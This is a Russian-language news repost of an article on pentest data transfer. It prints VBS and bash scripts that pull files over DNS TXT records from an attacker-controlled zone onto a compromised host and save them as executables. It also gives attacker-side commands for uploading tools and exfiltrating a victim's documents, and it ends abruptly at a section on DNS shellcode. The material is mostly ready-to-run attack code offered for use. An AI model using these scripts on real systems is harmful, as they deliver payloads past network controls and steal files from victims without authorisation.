Категория > Новости > Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах - «Новости»

Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах - «Новости»


24-09-2022, 00:02. Автор: Юрий
на­бор моих скрип­тов для инфиль­тра­ции и эксфиль­тра­ции дан­ных на все слу­чаи жиз­ни. Глав­ная их осо­бен­ность в пол­ном отсутс­твии тре­бова­ний к адми­нис­тра­тив­ным при­виле­гиям и при­цел на перено­симость — ведь на иссле­дуемом сер­вере ока­жет­ся либо Windows, либо Linux.
 

Инфильтрация через DNS


DNS — наш незаме­нимый помощ­ник. С помощью сле­дующе­го кода мы можем ска­чать любой файл с исполь­зовани­ем DNS на любую Windows:


dns_download.vbs
Set objShell = CreateObject("WScript.Shell")Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:windowstempout.exe")For d = 1 To 1190 pos = 0 While pos = 0 Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk") res = exec.Stdout.ReadAll() pos = inStr(1,res,"?") txt = Mid(res,pos+1,253) Wscript.Echo d & " " & txt Wend For b = 0 To Len(txt)/2-1
writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2))) NextNext

А вот скрипт для Linux:


dns_download.sh
for i in `seq $2`doansw=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4`
echo ${answ:2:-1}| xxd -r -p - $3
echo $i ${answ:2:-1}done

Язык VBS обес­печива­ет нам стоп­роцен­тную перено­симость меж­ду все­ми вер­сиями Windows (в отли­чие от PowerShell). Под Linux, как всег­да, исполь­зуем bash.


На сто­роне ском­про­мети­рован­ного сер­вера скрип­ты запус­кают­ся сле­дующим обра­зом.


Ва­риант для Windows:


cscript.exe dns_download.vbs

Для Linux:


./dns_download.sh attacker.tk 1190 /tmp/dnscat

На сто­роне ата­кующе­го — так:


sudo ./dns_upload.py --udp --filednscat.exe

Нап­ример, на скрин­шотах ниже прог­рамма dns2tcpc.exe переда­ется через DNS с NS-сер­вера под­кон­троль­ной мне DNS-зоны на victim с исполь­зовани­ем чис­того VBS.


Про­изволь­ные дан­ные будут про­ходить через TXT-записи в виде hexastring.


Да­лее мы можем раз­вивать DNS-тун­нелиро­вание уже с исполь­зовани­ем при­выч­ных инс­тру­мен­тов.


 

Эксфильтрация через DNS


Ана­логич­ным обра­зом мы можем и выг­ружать фай­лы с victim. На ата­кующей сто­роне это дела­ется так:


sudo ./dns_download.py --udp --filesecrets.docx

На сто­роне жер­твы — так:


 

DNS-шелл-код


При экс­плу­ата­ции уяз­вимос­тей из интерне­та нуж­но пом­нить, что ата­куемая сис­тема, ско­рее все­го, находит­ся в DMZ, отку­да дос­тупа в интернет у нее может и не быть. Так что заряжать экс­пло­ит reverse_tcp шелл‑кодами ока­жет­ся бес­полез­ным заняти­ем. Шелл не откро­ется, и ты подума­ешь, что цель неуяз­вима, про­пат­чена или прос­то экс­пло­ит нерабо­чий. Хотя все дело в payload.



Перейти обратно к новости